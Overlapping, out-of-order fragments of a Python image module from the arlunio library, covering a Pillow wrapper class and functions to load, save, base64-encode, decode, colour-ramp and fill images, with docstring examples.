**kwargs) -> Image: \"\"\"Load an image from", "use for values near :math:`0` (default, :code:`black`) stop: The color", "ast.Node.builtin(name=\"image\", color=color) def fromarray(*args, **kwargs): \"\"\"Create an image from an", "import arlunio.image as image bytestring = b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' # noqa: E501", ":math:`0` (default, :code:`black`) stop: The color to use for values", "image. See :meth:`pillow:PIL.Image.Image.copy` \"\"\" return Image(self.img.copy()) def paste(self, *args, **kwargs):", "background color of the generated image. This can be any", "as a wrapper around a standard Pillow image.\"\"\" def __init__(self,", "img @property def __array_interface__(self): # Ensure that our version of", "as the original array. The color of each pixel will", "**kwargs) def copy(self): \"\"\"Return a copy of the image. See", "b in zip(start, stop)] channels = [np.floor(func(vs)) for func in", "Image) -> bytes: \"\"\"Return the image encoded as a base64", "to be coloured foreground: A string representation of the color", "Image): im = im.img self.img.alpha_composite(im, *args, **kwargs) def copy(self): \"\"\"Return", "Optional[str] = None) -> Image: \"\"\"Given a 2d array of", "image in PNG format. :param filename: The filepath to save", "Demo :align: right :: import arlunio.image as image import arlunio.math", "original array. The color of each pixel will be chosen", "directories \"\"\" path = pathlib.Path(filename) if not path.parent.exists() and mkdirs:", "image=img) circle.x0, circle.y0 = 0.5, -0.25 img = image.fill(circle(width=512, height=256),", "image.fill(circle(width=512, height=256), foreground='blue', image=img) \"\"\" foreground = \"#000\" if foreground", "= byte_stream.getvalue() return base64.b64encode(image_bytes) def decode(bytestring: bytes) -> Image: \"\"\"Decode", "foreground is None else foreground fill_color = color.getcolor(foreground, \"RGBA\") if", "image.colorramp(p[:, :, 1], start=\"#0000\", stop=\"#00f7\") img = x + y", "path.parent.mkdir(parents=True) with open(filename, \"wb\") as f: image.save(f) def encode(image: Image)", "on the corresponding value of the scaled array. - If", "to an image, as specified by a mask. Parameters ----------", "then produce an image with the same dimensions as the", "them. .. arlunio-image:: Colorramp Demo :align: right :: import arlunio.image", "an image in PNG format. :param filename: The filepath to", "the image with the given filename. See :meth:`pillow:PIL.Image.Image.save` \"\"\" self.img.save(*args,", "None else foreground fill_color = color.getcolor(foreground, \"RGBA\") if image is", "= image.colorramp(p[:, :, 1], start=\"#0000\", stop=\"#00f7\") img = x +", "with the given background color.\"\"\" return ast.Node.builtin(name=\"image\", color=color) def fromarray(*args,", "selects the region to be coloured foreground: A string representation", "foreground: A string representation of the color to use, this", "stop: Optional[str] = None) -> Image: \"\"\"Given a 2d array", "background is None else background image = new(color=background) if not", "def fromarray(*args, **kwargs): \"\"\"Create an image from an array See", "image bytestring = b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' # noqa: E501 img = image.decode(bytestring)", "Example ------- :: >>> import arlunio.image as image >>> img", "so that all values fall in the range :math:`[0, 1]`.", "to decide on the color. start: The color to use", "pixel will be chosen based on the corresponding value of", "= 0, 0 img = image.fill(circle(width=512, height=256), foreground='#0f0', image=img) circle.x0,", "to use, this can be in any format that is", "return self.img.__array_interface__ def _repr_png_(self): # Give nice previews in jupyter", "mask that selects the region to be coloured foreground: A", "None, background: Optional[str] = None, image: Optional[Image] = None, )", ">>> img = image.new((8, 8), color='red') >>> image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' \"\"\"", "color='red') >>> image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' \"\"\" with io.BytesIO() as byte_stream: image.save(byte_stream,", "= np.array(values) - minx vs = vs / np.max(vs) if", "the color will be some mix between the two. Parameters", "default to black. background: In the case where an existing", ":code:`white`) Examples -------- .. arlunio-image:: Colorramp Demo 2 :include-code: ::", "color will be given by the :code:`start` parameter - If", "isinstance(other, PImage.Image): raise TypeError(\"Addition is only supported between images.\") img", "return Image(self.img.copy()) def paste(self, *args, **kwargs): \"\"\"Paste another image into", "= None, stop: Optional[str] = None) -> Image: \"\"\"Given a", "decide on the color. start: The color to use for", "region, foreground: Optional[str] = None, background: Optional[str] = None, image:", "color to use, this can be in any format that", "previews in jupyter notebooks return self.img._repr_png_() @property def size(self): return", "an image from the given file. See :func:`pillow:PIL.Image.open` \"\"\" return", "image = new(color=background) if not isinstance(region, ast.Node): region = region()", "self.img.save(*args, **kwargs) def thumbnail(self, *args, **kwargs): \"\"\"Convert this image into", "of values, produce an image gradient based on them. ..", "np.array(values) - minx vs = vs / np.max(vs) if start", "fill( region, foreground: Optional[str] = None, background: Optional[str] = None,", "be used to set the background color of the generated", "nice with numpy. return self.img.__array_interface__ def _repr_png_(self): # Give nice", "stop: The color to use for values near :math:`1` (default,", "Decode Example :include-code: :: import arlunio.image as image bytestring =", "*args, **kwargs): \"\"\"Composites an image onto this image. See :meth:`pillow:PIL.Image.Image.alpha_composite`", "= color.getcolor(start, \"RGBA\") stop = color.getcolor(stop, \"RGBA\") funcs = [math.lerp(a,", "= None, ) -> Image: \"\"\"Apply color to an image,", "Image(PImage.open(*args, **kwargs)) def save(image: Image, filename: str, mkdirs: bool =", "np.pi) img = image.colorramp(values) First this function will scale the", "corresponding value of the scaled array. - If the value", "with io.BytesIO() as byte_stream: image.save(byte_stream, \"PNG\") image_bytes = byte_stream.getvalue() return", "is None else foreground fill_color = color.getcolor(foreground, \"RGBA\") if image", "# TODO: Remove these, as they should be contained in", "the numpy backend. import numpy as np import PIL.Image as", "Examples -------- .. arlunio-image:: Colorramp Demo 2 :include-code: :: import", "decode. Example ------- .. arlunio-image:: Decode Example :include-code: :: import", "np.sin(2*y* np.pi) img = image.colorramp(values) First this function will scale", "filepath to save the image to. :param mkdirs: If true,", "= np.min(values) vs = np.array(values) - minx vs = vs", "for a, b in zip(start, stop)] channels = [np.floor(func(vs)) for", "save(self, *args, **kwargs): \"\"\"Save the image with the given filename.", "thumbnail(self, *args, **kwargs): \"\"\"Convert this image into a thumbail. See", "file. See :func:`pillow:PIL.Image.open` \"\"\" return Image(PImage.open(*args, **kwargs)) def save(image: Image,", "= math.Cartesian() p = cartesian(width=256, height=256) x = image.colorramp(p[:, :,", "can be used to set the background color of the", "as image >>> img = image.new((8, 8), color='red') >>> image.encode(img)", "color to an image, as specified by a mask. Parameters", "supported between images.\") img = self.copy() img.alpha_composite(other) return img @property", "of each pixel will be chosen based on the corresponding", "See :meth:`pillow:PIL.Image.Image.copy` \"\"\" return Image(self.img.copy()) def paste(self, *args, **kwargs): \"\"\"Paste", "**kwargs) def thumbnail(self, *args, **kwargs): \"\"\"Convert this image into a", "Pillow image.\"\"\" def __init__(self, img: PImage.Image): self.img = img \"\"\"The", "with the given filename. See :meth:`pillow:PIL.Image.Image.save` \"\"\" self.img.save(*args, **kwargs) def", "this image. See :meth:`pillow:PIL.Image.Image.alpha_composite` \"\"\" if isinstance(im, Image): im =", "arlunio.math as math import numpy as np cartesian = math.Cartesian()", "raise TypeError(\"Addition is only supported between images.\") img = self.copy()", "other.img if not isinstance(other, PImage.Image): raise TypeError(\"Addition is only supported", "f: image.save(f) def encode(image: Image) -> bytes: \"\"\"Return the image", "Optional[Image] = None, ) -> Image: \"\"\"Apply color to an", "not path.parent.exists() and mkdirs: path.parent.mkdir(parents=True) with open(filename, \"wb\") as f:", "b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' \"\"\" with io.BytesIO() as byte_stream: image.save(byte_stream, \"PNG\") image_bytes =", "parameter can be used to set the background color of", "Colorramp Demo 2 :include-code: :: import arlunio.image as image import", "/ np.max(vs) if start is None: start = \"black\" if", "two. Parameters ---------- values: The array of values used to", "background: Optional[str] = None, image: Optional[Image] = None, ) ->", "= shape.Circle(x0=-0.5, y0=0.25, r=0.6) img = image.fill(circle(width=512, height=256), foreground='red') circle.x0,", "p = cartesian(width=256, height=256) x, y = p[:, :, 0],", "image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' \"\"\" with io.BytesIO() as byte_stream: image.save(byte_stream, \"PNG\") image_bytes", "backend. import numpy as np import PIL.Image as PImage import", "height=256), foreground='blue', image=img) \"\"\" foreground = \"#000\" if foreground is", "onto this image. See :meth:`pillow:PIL.Image.Image.alpha_composite` \"\"\" if isinstance(im, Image): im", "img = image.new((8, 8), color='red') >>> image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' \"\"\" with", "given file. See :func:`pillow:PIL.Image.open` \"\"\" return Image(PImage.open(*args, **kwargs)) def save(image:", "array of values used to decide on the color. start:", "color to use for values near :math:`0` (default, :code:`black`) stop:", ":math:`1` (default, :code:`white`) Examples -------- .. arlunio-image:: Colorramp Demo 2", "will default to transparent image: The image to color in,", "b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' # noqa: E501 img = image.decode(bytestring) \"\"\" data =", "-0.25 img = image.fill(circle(width=512, height=256), foreground='blue', image=img) \"\"\" foreground =", "self.copy() img.alpha_composite(other) return img @property def __array_interface__(self): # Ensure that", "\"\"\" data = base64.b64decode(bytestring) bytes_ = io.BytesIO(data) return Image(load(bytes_)) def", "is supported by the :mod:`pillow:PIL.ImageColor` module. If omitted this will", "if not isinstance(region, ast.Node): region = region() return ast.Node.fill(image, region,", "img = image.colorramp(values) First this function will scale the input", "the color. start: The color to use for values near", "circle.x0, circle.y0 = 0.5, -0.25 img = image.fill(circle(width=512, height=256), foreground='blue',", "\"RGBA\") if image is None: background = \"#0000\" if background", "y = image.colorramp(p[:, :, 1], start=\"#0000\", stop=\"#00f7\") img = x", "between the two. Parameters ---------- values: The array of values", "the value is :math:`1` the color will be given by", "if background is None else background image = new(color=background) if", "is None: background = \"#0000\" if background is None else", "colorramp(values, start: Optional[str] = None, stop: Optional[str] = None) ->", "near :math:`0` (default, :code:`black`) stop: The color to use for", "Demo :include-code: :: import arlunio.image as image import arlunio.shape as", "logger = logging.getLogger(__name__) class Image: \"\"\"Our representation of an image,", "as math import numpy as np cartesian = math.Cartesian() p", ":func:`pillow:PIL.Image.open` \"\"\" return Image(PImage.open(*args, **kwargs)) def save(image: Image, filename: str,", "foreground = \"#000\" if foreground is None else foreground fill_color", "**kwargs): \"\"\"Convert this image into a thumbail. See :meth:`pillow:PIL.Image.Image.thumbnail` \"\"\"", "omitted this will default to black. background: In the case", "\"\"\" foreground = \"#000\" if foreground is None else foreground", "func in funcs] pixels = np.array(np.dstack(channels), dtype=np.uint8) return fromarray(pixels) def", "save the image to. :param mkdirs: If true, make any", "image: Optional[Image] = None, ) -> Image: \"\"\"Apply color to", "values = np.sin(2*x*np.pi) * np.sin(2*y* np.pi) img = image.colorramp(values) First", "img = image.fill(circle(width=512, height=256), foreground='blue', image=img) \"\"\" foreground = \"#000\"", "im, *args, **kwargs): \"\"\"Composites an image onto this image. See", "def __eq__(self, other): if not isinstance(other, Image): return False a", "fall into the range [0, 1] minx = np.min(values) vs", "omitted this will default to transparent image: The image to", "a standard Pillow image.\"\"\" def __init__(self, img: PImage.Image): self.img =", "byte_stream: image.save(byte_stream, \"PNG\") image_bytes = byte_stream.getvalue() return base64.b64encode(image_bytes) def decode(bytestring:", ":mod:`pillow:PIL.ImageColor` module. If omitted this will default to black. background:", "produce an image with the same dimensions as the original", "= color.getcolor(stop, \"RGBA\") funcs = [math.lerp(a, b) for a, b", "into a thumbail. See :meth:`pillow:PIL.Image.Image.thumbnail` \"\"\" self.img.thumbnail(*args, **kwargs) def new(color)", "self.img.paste(*args, **kwargs) def save(self, *args, **kwargs): \"\"\"Save the image with", "Parameters ---------- values: The array of values used to decide", "TODO: Remove these, as they should be contained in the", "all the values so that they fall into the range", "The color of each pixel will be chosen based on", "= np.asarray(self.img) b = np.asarray(other.img) return (a == b).all() def", "The color to use for values near :math:`0` (default, :code:`black`)", "return img @property def __array_interface__(self): # Ensure that our version", "\"\"\" # Scale all the values so that they fall", "image.decode(bytestring) \"\"\" data = base64.b64decode(bytestring) bytes_ = io.BytesIO(data) return Image(load(bytes_))", "self.img.size def alpha_composite(self, im, *args, **kwargs): \"\"\"Composites an image onto", "= \"#0000\" if background is None else background image =", "= image.fill(circle(width=512, height=256), foreground='red') circle.x0, circle.y0 = 0, 0 img", "import base64 import io import logging import pathlib from typing", ":mod:`pillow:PIL.ImageColor` module. If omitted this will default to transparent image:", "**kwargs): \"\"\"Composites an image onto this image. See :meth:`pillow:PIL.Image.Image.alpha_composite` \"\"\"", "arlunio.image as image bytestring = b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' # noqa: E501 img", "See :meth:`pillow:PIL.Image.Image.save` \"\"\" self.img.save(*args, **kwargs) def thumbnail(self, *args, **kwargs): \"\"\"Convert", ":: import arlunio.image as image import arlunio.math as math import", "image: The image to color in, if omitted a blank", "circle.y0 = 0.5, -0.25 img = image.fill(circle(width=512, height=256), foreground='blue', image=img)", "an image, implemented as a wrapper around a standard Pillow", "import arlunio.color as color import arlunio.mask as mask import arlunio.math", "image import arlunio.math as math import numpy as np cartesian", "color import arlunio.mask as mask import arlunio.math as math logger", "other = other.img if not isinstance(other, PImage.Image): raise TypeError(\"Addition is", ":, 1] values = np.sin(2*x*np.pi) * np.sin(2*y* np.pi) img =", "None else background image = new(color=background) if not isinstance(region, ast.Node):", ">>> image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' \"\"\" with io.BytesIO() as byte_stream: image.save(byte_stream, \"PNG\")", "image is None: background = \"#0000\" if background is None", "np cartesian = math.Cartesian() p = cartesian(width=256, height=256) x =", "arlunio-image:: Colorramp Demo 2 :include-code: :: import arlunio.image as image", "the image represented by the given bytestring into an image", "[np.floor(func(vs)) for func in funcs] pixels = np.array(np.dstack(channels), dtype=np.uint8) return", "*args, **kwargs): \"\"\"Save the image with the given filename. See", "import Optional # TODO: Remove these, as they should be", "if omitted a blank image will be used. Example --------", "\"\"\" self.img.save(*args, **kwargs) def thumbnail(self, *args, **kwargs): \"\"\"Convert this image", "isinstance(im, Image): im = im.img self.img.alpha_composite(im, *args, **kwargs) def copy(self):", "values, produce an image gradient based on them. .. arlunio-image::", "circle.x0, circle.y0 = 0, 0 img = image.fill(circle(width=512, height=256), foreground='#0f0',", "foreground='#0f0', image=img) circle.x0, circle.y0 = 0.5, -0.25 img = image.fill(circle(width=512,", "mask import arlunio.math as math logger = logging.getLogger(__name__) class Image:", "See :func:`pillow:PIL.Image.fromarray` \"\"\" return Image(PImage.fromarray(*args, **kwargs)) def load(*args, **kwargs) ->", "the range :math:`[0, 1]`. It will then produce an image", "filename. See :meth:`pillow:PIL.Image.Image.save` \"\"\" self.img.save(*args, **kwargs) def thumbnail(self, *args, **kwargs):", "is None: stop = \"white\" start = color.getcolor(start, \"RGBA\") stop", "Ensure that our version of an image also plays nice", "image.fill(circle(width=512, height=256), foreground='red') circle.x0, circle.y0 = 0, 0 img =", "Optional[str] = None, image: Optional[Image] = None, ) -> Image:", "as np cartesian = math.Cartesian() p = cartesian(width=256, height=256) x", "+ y \"\"\" # Scale all the values so that", "np cartesian = math.Cartesian() p = cartesian(width=256, height=256) x, y", "this image into a thumbail. See :meth:`pillow:PIL.Image.Image.thumbnail` \"\"\" self.img.thumbnail(*args, **kwargs)", "not provided this parameter can be used to set the", "\"\"\"Our representation of an image, implemented as a wrapper around", "is accepted by the :mod:`pillow:PIL.ImageColor` module. If omitted this will", "[math.lerp(a, b) for a, b in zip(start, stop)] channels =", "b) for a, b in zip(start, stop)] channels = [np.floor(func(vs))", ":, 1], start=\"#0000\", stop=\"#00f7\") img = x + y \"\"\"", "image encoded as a base64 string. Parameters ---------- image: The", "color.\"\"\" return ast.Node.builtin(name=\"image\", color=color) def fromarray(*args, **kwargs): \"\"\"Create an image", "Colorramp Demo :align: right :: import arlunio.image as image import", "range :math:`[0, 1]`. It will then produce an image with", "return Image(PImage.open(*args, **kwargs)) def save(image: Image, filename: str, mkdirs: bool", "The image to encode. Example ------- :: >>> import arlunio.image", "shape circle = shape.Circle(x0=-0.5, y0=0.25, r=0.6) img = image.fill(circle(width=512, height=256),", "given by the :code:`stop` parameter - Otherwise the color will", "so that they fall into the range [0, 1] minx", "path = pathlib.Path(filename) if not path.parent.exists() and mkdirs: path.parent.mkdir(parents=True) with", "any format that is supported by the :mod:`pillow:PIL.ImageColor` module. If", "wrapper around a standard Pillow image.\"\"\" def __init__(self, img: PImage.Image):", "shape.Circle(x0=-0.5, y0=0.25, r=0.6) img = image.fill(circle(width=512, height=256), foreground='red') circle.x0, circle.y0", "False) -> None: \"\"\"Save an image in PNG format. :param", "new image with the given background color.\"\"\" return ast.Node.builtin(name=\"image\", color=color)", "background color.\"\"\" return ast.Node.builtin(name=\"image\", color=color) def fromarray(*args, **kwargs): \"\"\"Create an", "by the given bytestring into an image object. Parameters ----------", "given background color.\"\"\" return ast.Node.builtin(name=\"image\", color=color) def fromarray(*args, **kwargs): \"\"\"Create", "notebooks return self.img._repr_png_() @property def size(self): return self.img.size def alpha_composite(self,", "image represented by the given bytestring into an image object.", "will default to black. background: In the case where an", "will be used. Example -------- .. arlunio-image:: Fill Demo :include-code:", "stop = color.getcolor(stop, \"RGBA\") funcs = [math.lerp(a, b) for a,", "the image encoded as a base64 string. Parameters ---------- image:", "mkdirs: bool = False) -> None: \"\"\"Save an image in", "= \"black\" if stop is None: stop = \"white\" start", "image object.\"\"\" def __eq__(self, other): if not isinstance(other, Image): return", "a, b in zip(start, stop)] channels = [np.floor(func(vs)) for func", "in funcs] pixels = np.array(np.dstack(channels), dtype=np.uint8) return fromarray(pixels) def fill(", "the scaled array. - If the value is :math:`0` the", "representation of the color to use, this can be in", "fill_color = color.getcolor(foreground, \"RGBA\") if image is None: background =", "image, as specified by a mask. Parameters ---------- mask: The", "as PImage import arlunio.ast as ast import arlunio.color as color", "be given by the :code:`stop` parameter - Otherwise the color", "that is accepted by the :mod:`pillow:PIL.ImageColor` module. If omitted this", "def paste(self, *args, **kwargs): \"\"\"Paste another image into this image.", ".. arlunio-image:: Fill Demo :include-code: :: import arlunio.image as image", "numpy as np cartesian = math.Cartesian() p = cartesian(width=256, height=256)", "else foreground fill_color = color.getcolor(foreground, \"RGBA\") if image is None:", "size(self): return self.img.size def alpha_composite(self, im, *args, **kwargs): \"\"\"Composites an", "use for values near :math:`1` (default, :code:`white`) Examples -------- ..", "the given file. See :func:`pillow:PIL.Image.open` \"\"\" return Image(PImage.open(*args, **kwargs)) def", "img = image.decode(bytestring) \"\"\" data = base64.b64decode(bytestring) bytes_ = io.BytesIO(data)", "on them. .. arlunio-image:: Colorramp Demo :align: right :: import", "Optional[str] = None, stop: Optional[str] = None) -> Image: \"\"\"Given", "- Otherwise the color will be some mix between the", "= x + y \"\"\" # Scale all the values", "arlunio.color as color import arlunio.mask as mask import arlunio.math as", "= image.fill(circle(width=512, height=256), foreground='#0f0', image=img) circle.x0, circle.y0 = 0.5, -0.25", "decode(bytestring: bytes) -> Image: \"\"\"Decode the image represented by the", "class Image: \"\"\"Our representation of an image, implemented as a", "color will be some mix between the two. Parameters ----------", "-> Image: \"\"\"Apply color to an image, as specified by", "set the background color of the generated image. This can", "on the color. start: The color to use for values", "import arlunio.math as math logger = logging.getLogger(__name__) class Image: \"\"\"Our", "0], p[:, :, 1] values = np.sin(2*x*np.pi) * np.sin(2*y* np.pi)", "First this function will scale the input array so that", "if not path.parent.exists() and mkdirs: path.parent.mkdir(parents=True) with open(filename, \"wb\") as", "this function will scale the input array so that all", ":meth:`pillow:PIL.Image.Image.thumbnail` \"\"\" self.img.thumbnail(*args, **kwargs) def new(color) -> Image: \"\"\"Creates a", ":meth:`pillow:PIL.Image.Image.copy` \"\"\" return Image(self.img.copy()) def paste(self, *args, **kwargs): \"\"\"Paste another", "for values near :math:`0` (default, :code:`black`) stop: The color to", "start = \"black\" if stop is None: stop = \"white\"", "8), color='red') >>> image.encode(img) b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' \"\"\" with io.BytesIO() as byte_stream:", "def decode(bytestring: bytes) -> Image: \"\"\"Decode the image represented by", "will be given by the :code:`stop` parameter - Otherwise the", "0], start=\"#0000\", stop=\"#f007\") y = image.colorramp(p[:, :, 1], start=\"#0000\", stop=\"#00f7\")", "\"\"\"Create an image from an array See :func:`pillow:PIL.Image.fromarray` \"\"\" return", "__init__(self, img: PImage.Image): self.img = img \"\"\"The wrapped pillow image", "**kwargs) -> Image: \"\"\"Load an image from the given file.", "__array_interface__(self): # Ensure that our version of an image also", "start is None: start = \"black\" if stop is None:", "an image from an array See :func:`pillow:PIL.Image.fromarray` \"\"\" return Image(PImage.fromarray(*args,", "a blank image will be used. Example -------- .. arlunio-image::", "image.fill(circle(width=512, height=256), foreground='#0f0', image=img) circle.x0, circle.y0 = 0.5, -0.25 img", "TypeError(\"Addition is only supported between images.\") img = self.copy() img.alpha_composite(other)", "io.BytesIO(data) return Image(load(bytes_)) def colorramp(values, start: Optional[str] = None, stop:", "dimensions as the original array. The color of each pixel", "arlunio-image:: Fill Demo :include-code: :: import arlunio.image as image import", "Image: \"\"\"Load an image from the given file. See :func:`pillow:PIL.Image.open`", "------- .. arlunio-image:: Decode Example :include-code: :: import arlunio.image as", "used to decide on the color. start: The color to", ":include-code: :: import arlunio.image as image bytestring = b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' #", "*args, **kwargs): \"\"\"Paste another image into this image. See :meth:`pillow:PIL.Image.Image.paste`", "arlunio.shape as shape circle = shape.Circle(x0=-0.5, y0=0.25, r=0.6) img =", "the input array so that all values fall in the", "== b).all() def __add__(self, other): if isinstance(other, Image): other =", "the given background color.\"\"\" return ast.Node.builtin(name=\"image\", color=color) def fromarray(*args, **kwargs):", "our version of an image also plays nice with numpy.", "image=img) \"\"\" foreground = \"#000\" if foreground is None else", "-> None: \"\"\"Save an image in PNG format. :param filename:", "in the numpy backend. import numpy as np import PIL.Image", "# Give nice previews in jupyter notebooks return self.img._repr_png_() @property", "image to. :param mkdirs: If true, make any parent directories", "\"\"\"Return the image encoded as a base64 string. Parameters ----------", "to. :param mkdirs: If true, make any parent directories \"\"\"", "color will be given by the :code:`stop` parameter - Otherwise", "x + y \"\"\" # Scale all the values so", ":meth:`pillow:PIL.Image.Image.save` \"\"\" self.img.save(*args, **kwargs) def thumbnail(self, *args, **kwargs): \"\"\"Convert this", "math.Cartesian() p = cartesian(width=256, height=256) x = image.colorramp(p[:, :, 0],", "Image, filename: str, mkdirs: bool = False) -> None: \"\"\"Save", "import arlunio.ast as ast import arlunio.color as color import arlunio.mask", "and mkdirs: path.parent.mkdir(parents=True) with open(filename, \"wb\") as f: image.save(f) def", "import logging import pathlib from typing import Optional # TODO:", "not isinstance(other, Image): return False a = np.asarray(self.img) b =", "PImage.Image): raise TypeError(\"Addition is only supported between images.\") img =", "img = self.copy() img.alpha_composite(other) return img @property def __array_interface__(self): #", "the same dimensions as the original array. The color of", ":meth:`pillow:PIL.Image.Image.paste` \"\"\" self.img.paste(*args, **kwargs) def save(self, *args, **kwargs): \"\"\"Save the", "path.parent.exists() and mkdirs: path.parent.mkdir(parents=True) with open(filename, \"wb\") as f: image.save(f)", "\"\"\"Save an image in PNG format. :param filename: The filepath", "other): if isinstance(other, Image): other = other.img if not isinstance(other,", "cartesian(width=256, height=256) x = image.colorramp(p[:, :, 0], start=\"#0000\", stop=\"#f007\") y", "-> Image: \"\"\"Decode the image represented by the given bytestring", "def _repr_png_(self): # Give nice previews in jupyter notebooks return", "the image. See :meth:`pillow:PIL.Image.Image.copy` \"\"\" return Image(self.img.copy()) def paste(self, *args,", "b).all() def __add__(self, other): if isinstance(other, Image): other = other.img", "-------- .. arlunio-image:: Fill Demo :include-code: :: import arlunio.image as", "image with the same dimensions as the original array. The", "np.min(values) vs = np.array(values) - minx vs = vs /", "annotations import base64 import io import logging import pathlib from", ":, 0], p[:, :, 1] values = np.sin(2*x*np.pi) * np.sin(2*y*", "height=256) x, y = p[:, :, 0], p[:, :, 1]", "as np cartesian = math.Cartesian() p = cartesian(width=256, height=256) x,", ":code:`stop` parameter - Otherwise the color will be some mix", "= new(color=background) if not isinstance(region, ast.Node): region = region() return", "image into this image. See :meth:`pillow:PIL.Image.Image.paste` \"\"\" self.img.paste(*args, **kwargs) def", ":include-code: :: import arlunio.image as image import arlunio.math as math", "import arlunio.image as image >>> img = image.new((8, 8), color='red')", "x = image.colorramp(p[:, :, 0], start=\"#0000\", stop=\"#f007\") y = image.colorramp(p[:,", "implemented as a wrapper around a standard Pillow image.\"\"\" def", "save(image: Image, filename: str, mkdirs: bool = False) -> None:", "Parameters ---------- bytestring: The bytestring to decode. Example ------- ..", "also plays nice with numpy. return self.img.__array_interface__ def _repr_png_(self): #", "start=\"#0000\", stop=\"#f007\") y = image.colorramp(p[:, :, 1], start=\"#0000\", stop=\"#00f7\") img", "= [math.lerp(a, b) for a, b in zip(start, stop)] channels", "string. Parameters ---------- image: The image to encode. Example -------", "= image.fill(circle(width=512, height=256), foreground='blue', image=img) \"\"\" foreground = \"#000\" if", "See :meth:`pillow:PIL.Image.Image.paste` \"\"\" self.img.paste(*args, **kwargs) def save(self, *args, **kwargs): \"\"\"Save", "**kwargs): \"\"\"Create an image from an array See :func:`pillow:PIL.Image.fromarray` \"\"\"", "these, as they should be contained in the numpy backend.", "array so that all values fall in the range :math:`[0,", "- If the value is :math:`1` the color will be", "math import numpy as np cartesian = math.Cartesian() p =", "Image): return False a = np.asarray(self.img) b = np.asarray(other.img) return", "*args, **kwargs): \"\"\"Convert this image into a thumbail. See :meth:`pillow:PIL.Image.Image.thumbnail`", "self.img.thumbnail(*args, **kwargs) def new(color) -> Image: \"\"\"Creates a new image", "filename: The filepath to save the image to. :param mkdirs:", "= b'iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAFklEQVR4nGP8z8DwnwEPYMInOXwUAAASWwIOH0pJXQAAAABJRU5ErkJggg==' # noqa: E501 img = image.decode(bytestring) \"\"\" data", "default to transparent image: The image to color in, if", ":include-code: :: import arlunio.image as image import arlunio.shape as shape", "thumbail. See :meth:`pillow:PIL.Image.Image.thumbnail` \"\"\" self.img.thumbnail(*args, **kwargs) def new(color) -> Image:", "= img \"\"\"The wrapped pillow image object.\"\"\" def __eq__(self, other):", "minx vs = vs / np.max(vs) if start is None:", "if isinstance(other, Image): other = other.img if not isinstance(other, PImage.Image):", "(a == b).all() def __add__(self, other): if isinstance(other, Image): other", "# Scale all the values so that they fall into", "= False) -> None: \"\"\"Save an image in PNG format.", "return fromarray(pixels) def fill( region, foreground: Optional[str] = None, background:", "a 2d array of values, produce an image gradient based", "PIL.Image as PImage import arlunio.ast as ast import arlunio.color as", "return base64.b64encode(image_bytes) def decode(bytestring: bytes) -> Image: \"\"\"Decode the image", "contained in the numpy backend. import numpy as np import", "color.getcolor(start, \"RGBA\") stop = color.getcolor(stop, \"RGBA\") funcs = [math.lerp(a, b)", "into this image. See :meth:`pillow:PIL.Image.Image.paste` \"\"\" self.img.paste(*args, **kwargs) def save(self,", "array of values, produce an image gradient based on them.", "= cartesian(width=256, height=256) x, y = p[:, :, 0], p[:,", "based on the corresponding value of the scaled array. -", "is None else background image = new(color=background) if not isinstance(region,", "\"#000\" if foreground is None else foreground fill_color = color.getcolor(foreground,", "2d array of values, produce an image gradient based on", "2 :include-code: :: import arlunio.image as image import arlunio.math as", "math logger = logging.getLogger(__name__) class Image: \"\"\"Our representation of an", "------- :: >>> import arlunio.image as image >>> img =", "to use for values near :math:`0` (default, :code:`black`) stop: The", "return self.img.size def alpha_composite(self, im, *args, **kwargs): \"\"\"Composites an image", "image is not provided this parameter can be used to", "_repr_png_(self): # Give nice previews in jupyter notebooks return self.img._repr_png_()", "can be any string that is accepted by the :mod:`pillow:PIL.ImageColor`", "accepted by the :mod:`pillow:PIL.ImageColor` module. If omitted this will default", "same dimensions as the original array. The color of each", "Fill Demo :include-code: :: import arlunio.image as image import arlunio.shape", "img = image.fill(circle(width=512, height=256), foreground='#0f0', image=img) circle.x0, circle.y0 = 0.5,", "as math logger = logging.getLogger(__name__) class Image: \"\"\"Our representation of", "= 0.5, -0.25 img = image.fill(circle(width=512, height=256), foreground='blue', image=img) \"\"\"", "background: In the case where an existing image is not", "base64.b64decode(bytestring) bytes_ = io.BytesIO(data) return Image(load(bytes_)) def colorramp(values, start: 